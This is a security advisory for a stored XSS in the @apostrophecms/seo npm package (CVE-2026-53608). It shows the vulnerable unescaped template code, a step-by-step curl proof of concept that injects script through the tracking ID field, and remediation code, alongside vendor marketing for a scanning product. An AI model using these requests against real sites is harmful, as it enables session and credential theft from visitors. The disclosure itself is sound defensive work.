Summary
@apostrophecms/seo Vulnerable to Stored XSS via Unsanitized Google Analytics / GTM ID Injected into Script Tag
The @apostrophecms/seo package injects the Google Analytics Tracking ID (seoGoogleTrackingId) and Google Tag Manager ID (seoGoogleTagManager) directly into <script> tag bodies using JavaScript template literals without any sanitization or validation.
Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site.
Details
The vulnerable code is in node_modules/@apostrophecms/seo/lib/nodes.js.
Google Analytics (lines 218–224):
// seoGoogleTrackingId is inserted RAW into a <script> body, no escaping, no validation
body: [ {
raw: `
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', '${global.seoGoogleTrackingId}');
`
} ]
Google Tag Manager (lines 358–362):
body: [ {
raw: `(function(w,d,s,l,i){...})(window,document,'script','dataLayer','${global.seoGoogleTagManager}');`
} ]
These nodes are rendered by renderNodes() in ApostropheCMS core (modules/@apostrophecms/template/index.js lines 1176–1177):
if (node.raw != null) {
return node.raw; // returned verbatim, no escaping
}
The fields seoGoogleTrackingId and seoGoogleTagManager are defined as plain type: 'string' values with no pattern, minimum length, or maximum length validation in seo-fields-global/index.js lines 347–352.
ApostropheCMS's permission model (@apostrophecms/permission/index.js line 121) grants editor-level users the ability to edit and publish the global singleton, meaning a contributor does not need administrator access to exploit this issue.
PoC
Prerequisites: ApostropheCMS with @apostrophecms/seo installed and seoGoogleAnalytics: true enabled in module options. An editor-level account.
Step 1, Login as editor
curl -s -X POST http://TARGET/api/v1/@apostrophecms/login/login \
-H 'Content-Type: application/json' \
-d '{"username":"editor","password":"password"}'
Response:
{"token":"YOUR_TOKEN"}
Step 2, Get the global document ID
curl -s -H "Authorization: Bearer YOUR_TOKEN" \
http://TARGET/api/v1/@apostrophecms/global
Note the _id value ending in :en:draft.
Step 3, Inject payload into Google Analytics ID
curl -s -X PATCH "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID" \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{"seoGoogleTrackingId":"G-FAKE'"'"'); alert(document.cookie); //"}'
Step 4, Publish
curl -s -X POST "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID/publish" \
-H "Authorization: Bearer YOUR_TOKEN"
Step 5, Visit any page
The injected payload appears in <head> and executes:
<script>
gtag('config', 'G-FAKE'); alert(document.cookie); //');
</script>
Impact
This is a Stored Cross-Site Scripting (XSS) vulnerability.
Any user with the editor role (the standard content management role in ApostropheCMS) can inject arbitrary JavaScript that executes for every visitor on every page of the site.
Impact includes:
- Session token theft of all visitors, including other editors and administrators
- Full account takeover via stolen administrator cookies
- Malware distribution, phishing overlays, or credential harvesting targeting site visitors
- Persistent compromise, as the payload remains active until manually removed
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-53608 has a CVSS score of 8.7 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.5.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Validate the tracking ID fields against their expected formats before storage, and escape values before inserting them into script bodies.
// Validate format before accepting
if (value && !/^(G-|UA-|GTM-)[A-Z0-9-]+$/i.test(value)) {
throw new Error('Invalid tracking ID format');
}
// Use safeJsonForScript instead of raw template literals
body: [ { json: global.seoGoogleTrackingId } ]
Or:
// Escape the value before insertion
raw: `gtag('config', ${JSON.stringify(global.seoGoogleTrackingId)});`
Frequently Asked Questions
- What is CVE-2026-53608? CVE-2026-53608 is a high-severity cross-site scripting (XSS) vulnerability in @apostrophecms/seo (npm), affecting versions <= 1.4.2. It is fixed in 1.5.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-53608? CVE-2026-53608 has a CVSS score of 8.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @apostrophecms/seo are affected by CVE-2026-53608? @apostrophecms/seo (npm) versions <= 1.4.2 is affected.
- Is there a fix for CVE-2026-53608? Yes. CVE-2026-53608 is fixed in 1.5.0. Upgrade to this version or later.
- Is CVE-2026-53608 exploitable, and should I be worried? Whether CVE-2026-53608 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-53608 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-53608? Upgrade
@apostrophecms/seoto 1.5.0 or later.